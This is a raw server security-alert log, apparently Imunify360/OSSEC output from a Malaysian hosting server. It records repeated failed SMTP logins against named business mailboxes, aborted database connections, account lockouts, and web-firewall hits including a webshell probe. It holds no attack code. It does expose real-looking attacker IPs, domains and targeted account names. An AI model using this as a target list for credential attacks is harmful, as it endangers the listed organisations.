2026-02-01 10:33:57 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:46798: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:33:20 dovecot_login authenticator failed for H=(tTPWsJ) [178.16.54.22]:50380: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 10:34:13 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:34502: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:34:07 dovecot_login authenticator failed for H=(DTCuNS2T) [178.16.54.22]:54337: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:35:06 dovecot_login authenticator failed for H=(Vbrw5A) [178.16.54.22]:55460: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:35:50 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53838: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.181
country_id: 2750405
description:
2026-02-01 10:35:24 215637 [Warning] Aborted connection 215637 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.181' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:36:07 dovecot_login authenticator failed for H=(oABYtnx) [178.16.54.22]:63716: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:36:18 dovecot_login authenticator failed for H=(sHXU7q) [178.16.54.22]:57584: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:37:03 dovecot_login authenticator failed for H=(66eNepdc2k) [178.16.54.22]:54022: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.63.42.76
country_id: 1814991
description:
2026-02-01 10:37:32 dovecot_login authenticator failed for H=([111.63.42.76]) [111.63.42.76]:25314: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:37:47 dovecot_login authenticator failed for H=(kHupTWd) [178.16.52.139]:51494: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 10:37:50 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:34774: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:38:00 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51368: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 10:38:15 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:35488: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:38:57 dovecot_login authenticator failed for H=(l7oZuqgS) [178.16.54.22]:63403: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:38:23 dovecot_login authenticator failed for H=(fQwtOWmkdr) [178.16.54.22]:62580: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-02-01 10:38:23 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:53644: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-02-01 10:38:35 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:38397: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.47
country_id: 2017370
description:
2026-02-01 10:38:53 dovecot_login authenticator failed for H=([178.178.222.47]) [178.178.222.47]:46848: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 10:38:13 dovecot_login authenticator failed for H=(02TjYghS) [158.94.208.110]:53796: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 10:38:27 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:59290: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 10:39:01 dovecot_login authenticator failed for H=(YYkl4wWFn) [158.94.208.110]:61673: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.92.116.81
country_id: 1814991
description:
2026-02-01 10:39:11 dovecot_login authenticator failed for H=([113.57.108.79]) [183.92.116.81]:20262: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:39:20 dovecot_login authenticator failed for H=(z4yH6lz) [178.16.54.22]:64592: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.127.150
country_id: 1269750
description:
2026-02-01 10:39:48 dovecot_login authenticator failed for H=(nsg-corporate-177.246.185.122.airtel.in) [122.184.127.150]:57478: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.104.102
country_id: 1269750
description:
2026-02-01 10:39:56 dovecot_login authenticator failed for H=([27.123.104.102]) [27.123.104.102]:47104: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:39:56 dovecot_login authenticator failed for H=(DPgcrH3u4) [178.16.52.139]:62983: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:40:08 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50396: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 10:40:13 dovecot_login authenticator failed for H=(HU5mgBCeqT) [158.94.208.110]:56442: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:40:05 dovecot_login authenticator failed for H=(JBRfO5T) [178.16.54.22]:55722: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.4.138
country_id: 1733045
description:
2026-02-01 10:41:35 dovecot_login authenticator failed for H=([183.171.4.138]) [183.171.4.138]:55898: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:41:12 dovecot_login authenticator failed for H=(cm5GyO7sj) [178.16.54.22]:58091: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:41:23 dovecot_login authenticator failed for H=(N1eBtt) [178.16.52.139]:60807: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.144.16.16
country_id: 1814991
description:
2026-02-01 10:41:48 dovecot_login authenticator failed for H=([219.144.16.16]) [219.144.16.16]:54006: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:41:16 dovecot_login authenticator failed for H=(dT5asc) [178.16.54.22]:65528: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.138
country_id: 1269750
description:
2026-02-01 10:41:20 dovecot_login authenticator failed for H=([125.23.183.138]) [125.23.183.138]:32806: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 10:41:02 dovecot_login authenticator failed for H=(12tEa8) [158.94.208.110]:64295: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.181
country_id: 2750405
description:
2026-02-01 10:41:03 215917 [Warning] Aborted connection 215917 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.181' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:41:49 dovecot_login authenticator failed for H=(TpszpI5) [193.26.115.228]:61728: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.139
country_id: 2635167
description:
2026-02-01 10:41:11 215926 [Warning] Aborted connection 215926 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.139' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:42:10 dovecot_login authenticator failed for H=(nbx6UdsYi) [193.26.115.228]:49646: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.112.89.138
country_id: 6251999
description:
2026-02-01 10:42:40 dovecot_login authenticator failed for H=ipagstaticip-26846e71-b733-4d8b-bfa7-a49755089ffe.sdsl.bell.ca [142.112.89.138]:51742: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.80.233.73
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=99591514856555 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.139
country_id: 2635167
description:
2026-02-01 10:42:56 216015 [Warning] Aborted connection 216015 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.139' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 10:42:13 dovecot_login authenticator failed for H=(sPSykPemv) [158.94.208.110]:59324: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:42:19 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57700: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:42:22 dovecot_login authenticator failed for H=(RFeA8ZNngK) [178.16.54.22]:59457: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.160
country_id: 1269750
description:
2026-02-01 10:42:32 dovecot_login authenticator failed for H=(nsg-corporate-160.229.187.122.airtel.in) [122.187.229.160]:60326: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 10:43:01 dovecot_login authenticator failed for H=(ja1wbRk7b) [158.94.208.110]:50861: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:43:07 dovecot_login authenticator failed for H=(FXdXi4) [178.16.54.22]:54053: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:43:07 dovecot_login authenticator failed for H=(ZcNi90SaQ) [193.26.115.228]:50621: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:44:41 dovecot_login authenticator failed for H=(nhrP0VpmB) [178.16.54.22]:55576: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.151.171.175
country_id: 1210997
domain: u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/u-net.com.my/about-us/index.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:44:28 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45268: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:44:10 dovecot_login authenticator failed for H=(ICYFzD) [178.16.54.22]:56187: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:44:40 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:44:04 dovecot_login authenticator failed for H=(WB6Vfo) [193.26.115.228]:53639: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:44:13 dovecot_login authenticator failed for H=(xTVDkvN) [178.16.52.139]:59440: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:45:16 dovecot_login authenticator failed for H=(N9GsmI) [178.16.54.22]:60878: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:45:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.109.38.143
country_id: 6252001
description:
2026-02-01 10:45:26 dovecot_login authenticator failed for H=143.38.109.208.host.secureserver.net [208.109.38.143]:57990: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.14.135
country_id: 1668284
description:
2026-02-01 10:45:41 dovecot_login authenticator failed for H=111-70-14-135.emome-ip.hinet.net [111.70.14.135]:48228: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:45:01 dovecot_login authenticator failed for H=(9Pqpxk1ms9) [193.26.115.228]:57247: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.19.168.104
country_id: 2017370
description:
2026-02-01 10:46:32 dovecot_login authenticator failed for H=(94.19.168.104.pool.sknt.ru) [94.19.168.104]:59434: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:46:39 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59136: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.109.195.179
country_id: 1835841
description:
2026-02-01 10:46:49 dovecot_login authenticator failed for H=([183.109.195.179]) [183.109.195.179]:53966: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.98.147.214
country_id: 3017382
description:
2026-02-01 10:46:03 dovecot_login authenticator failed for H=ip214.ip-87-98-147.eu (ADMIN) [87.98.147.214]:47062: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:46:18 dovecot_login authenticator failed for H=(lQuYqbGr) [193.26.115.228]:49890: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.219
country_id: 798544
description:
2026-02-01 10:46:24 dovecot_login authenticator failed for H=89-67-37-219.dynamic.play.pl [89.67.37.219]:44011: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 10:46:57 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:33568: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.43
country_id: 732800
description:
2026-02-01 10:46:28 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:42764: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.29.104.32
country_id: 6252001
description:
2026-02-01 10:46:34 dovecot_login authenticator failed for H=32.104.29.34.bc.googleusercontent.com [34.29.104.32]:46110: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:46:01 dovecot_login authenticator failed for H=(WMGNBxwP) [178.16.52.139]:50619: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:46:14 dovecot_login authenticator failed for H=(nZOIrfzOVu) [178.16.54.22]:62620: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:46:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:47:15 dovecot_login authenticator failed for H=(WvW6Rc) [193.26.115.228]:53003: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:47:59 dovecot_login authenticator failed for H=(CXUpF4m) [178.16.54.22]:56129: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.139
country_id: 2635167
description:
2026-02-01 10:47:59 216307 [Warning] Aborted connection 216307 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.139' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:47:04 dovecot_login authenticator failed for H=(GY1Azwl) [178.16.54.22]:54842: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 10:47:11 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:51844: 535 Incorrect authentication data (set_id=seanlee)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:47:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.55
country_id: 2017370
description:
2026-02-01 10:48:45 dovecot_login authenticator failed for H=([178.178.222.55]) [178.178.222.55]:38484: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.231.6
country_id: 1814991
description:
2026-02-01 10:48:54 dovecot_login authenticator failed for H=([60.174.231.6]) [60.174.231.6]:39670: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:48:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:48:13 dovecot_login authenticator failed for H=(ynjeAHFA3) [193.26.115.228]:55959: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:48:06 dovecot_login authenticator failed for H=(oa4Ip1SnX) [178.16.54.22]:54263: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:48:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44026: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 10:49:34 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:60128: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.101.157.121
country_id: 2921044
description:
2026-02-01 10:49:41 dovecot_plain authenticator failed for H=([10.183.0.19]) [191.101.157.121]:24443: 535 Incorrect authentication data (set_id=muhdfauzan@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:49:05 dovecot_login authenticator failed for H=(NrGugxksn) [178.16.54.22]:52543: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Feb  1 10:49:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:49:19 dovecot_login authenticator failed for H=(ryUQAEZy) [178.16.52.139]:62535: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:49:10 dovecot_login authenticator failed for H=(YYI5Nhg) [193.26.115.228]:59758: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 10:49:23 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:50976: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.101.157.121
country_id: 2921044
description:
2026-02-01 10:50:06 dovecot_plain authenticator failed for H=([10.183.0.19]) [191.101.157.121]:38690: 535 Incorrect authentication data (set_id=muhdfauzan@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:50:08 dovecot_login authenticator failed for H=(Ov11kkOOHk) [193.26.115.228]:63226: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:50:10 dovecot_login authenticator failed for H=(9Ij7WF58p) [178.16.54.22]:50743: 535 Incorrect authentication data (set_id=felioit)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.229.73.40
country_id: 3686110
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/estate/column/estate-library/38/images/banner3.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 10:50:18 dovecot_login authenticator failed for H=(YelJyOA) [178.16.52.139]:54445: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.219.170.52
country_id: 953987
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/estate/column/estate-library/38/images/banner2.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:50:57 dovecot_login authenticator failed for H=(04Xp6G) [178.16.54.22]:60989: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:50:59 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39882: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.102.220.217
country_id: 2589581
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/estate/column/estate-library/38/images/logo.png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.179.97.162
country_id: 1210997
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/estate/column/estate-library/38/images/logo-(3).png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.68.152.158
country_id: 3996063
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/estate/column/estate-library/38/images/banner4.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.67.236.45
country_id: 2287781
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/estate/column/estate-library/38/images/banner1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.163
country_id: 99237
description:
2026-02-01 10:51:28 dovecot_plain authenticator failed for H=(doust) [65.20.250.163]:58921: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.139.74
country_id: 1733045
description:
2026-02-01 10:51:58 dovecot_plain authenticator failed for H=(localhost) [113.211.139.74]:30239: 535 Incorrect authentication data (set_id=zulfaiz@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-02-01 10:51:05 dovecot_login authenticator failed for H=(Sa0XnwcsQA) [193.26.115.228]:50004: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
